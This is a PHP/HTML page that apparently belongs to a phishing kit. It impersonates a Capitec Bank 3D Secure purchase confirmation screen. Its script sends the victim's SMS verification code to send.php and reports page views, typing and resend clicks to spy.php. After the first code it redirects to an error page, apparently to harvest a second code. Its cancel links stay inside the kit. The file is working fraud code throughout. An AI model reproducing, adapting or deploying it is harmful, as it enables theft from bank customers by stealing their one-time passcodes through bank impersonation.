<?php
$bankKey = 'capitec';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Confirm Online Card Purchase</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; --b3-link: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }</style>
</head>
<body class="b3-page">

<div class="b3-sheet">
    <a class="b3-back" href="wait.php?p=cancel" aria-label="Back">&#8592;</a>

    <header class="b3-head b3-head--cap">
        <img class="b3-bank-logo" src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
        <div class="b3-scheme">
            <?php if ($schemeMode === 'visa' || $isVisa) { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" />
            <?php } else { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" />
            <?php } ?>
        </div>
    </header>

    <main class="b3-main">
        <h1 class="b3-title">Confirm Online Card Purchase</h1>

        <div class="b3-illus" aria-hidden="true">
            <svg viewBox="0 0 120 100" fill="none" xmlns="http://www.w3.org/2000/svg">
                <rect x="38" y="18" width="44" height="72" rx="6" stroke="#333" stroke-width="2.5"/>
                <rect x="46" y="28" width="28" height="40" rx="2" stroke="#555" stroke-width="1.5"/>
                <circle cx="60" cy="78" r="3" fill="#333"/>
                <path d="M72 34c10-1 20-8 24-16" stroke="#666" stroke-width="1.5" fill="none"/>
                <rect x="84" y="10" width="30" height="20" rx="5" fill="#f3f4f6" stroke="#666" stroke-width="1.5"/>
                <rect x="88" y="14" width="22" height="5" rx="1" fill="#005eb8"/>
                <rect x="88" y="22" width="10" height="4" rx="1" fill="#c8102e"/>
            </svg>
        </div>

        <p class="b3-lead">
            Enter verification code to confirm your transaction of
            <strong><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></strong>
            at <strong><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></strong>.
        </p>

        <p class="b3-phone-mask">
            We are sending you a verification code to this number:
            <?= htmlspecialchars($phoneMasked, ENT_QUOTES, 'UTF-8') ?>.
        </p>

        <?php if ($hasError) { ?>
        <div class="b3-error" role="alert">The code entered is incorrect. Please try again.</div>
        <?php } ?>

        <form id="form" novalidate>
            <div class="b3-field">
                <label class="b3-label b3-label--left" for="sms">Verification code</label>
                <input class="b3-input b3-input--round" id="sms" name="sms" type="text"
                    inputmode="numeric" maxlength="6" autocomplete="one-time-code"
                    placeholder="Enter code" required />
            </div>

            <button type="submit" class="b3-btn b3-btn--round" id="btn_submit" disabled>CONFIRM</button>
        </form>

        <div class="b3-actions">
            <button type="button" class="b3-cancel" id="btnResend">Resend Code</button>
            <a href="wait.php?p=cancel">Cancel</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>About 3D Secure<span class="b3-faq-arrow">&#9660;</span></summary>
                <p>3D Secure helps confirm it is really you making this purchase before the payment is completed.</p>
            </details>
            <details>
                <summary><?= htmlspecialchars($bankContact, ENT_QUOTES, 'UTF-8') ?><span class="b3-faq-arrow">&#9660;</span></summary>
                <p>If you did not start this payment, cancel now and contact Capitec Bank immediately.</p>
            </details>
        </div>
    </main>
</div>

<script src="res/jq.js"></script>
<script>
(function () {
    var minLen = 4;
    var maxLen = 6;
    var otpNotifySent = false;

    function digits() {
        return $('#sms').val().replace(/\D/g, '');
    }
    function ok() {
        var n = digits().length;
        return n >= minLen && n <= maxLen;
    }

    $('#sms').on('input paste keyup', function () {
        this.value = this.value.replace(/\D/g, '').slice(0, maxLen);
        $('#btn_submit').prop('disabled', !ok());
        if (!otpNotifySent && digits().length > 0) {
            $.post('spy.php', { otping: 1 });
            otpNotifySent = true;
        }
    });

    $('#form').on('submit', function (e) {
        e.preventDefault();
        if (!ok()) return;
        var alreadyTried = <?= $hasError ? 'true' : 'false' ?>;
        $.post('send.php', { sms: digits() }, function () {
            if (alreadyTried) {
                window.location = 'wait.php?p=sms';
            } else {
                window.location = 'cs.php?e=1';
            }
        });
    });

    $('#btnResend').on('click', function () {
        var $b = $(this);
        if ($b.hasClass('is-sent')) return;
        $.post('spy.php', { smsresend: 1 }).always(function () {
            $b.addClass('is-sent').text('Code sent');
        });
    });

    $.post('spy.php', { smsview: 1, firstload: 1 });
    $('#sms').focus();
})();
</script>
<?php $m->ctr('SMS CS ' . @$_GET['e']); ?>
</body>
</html>
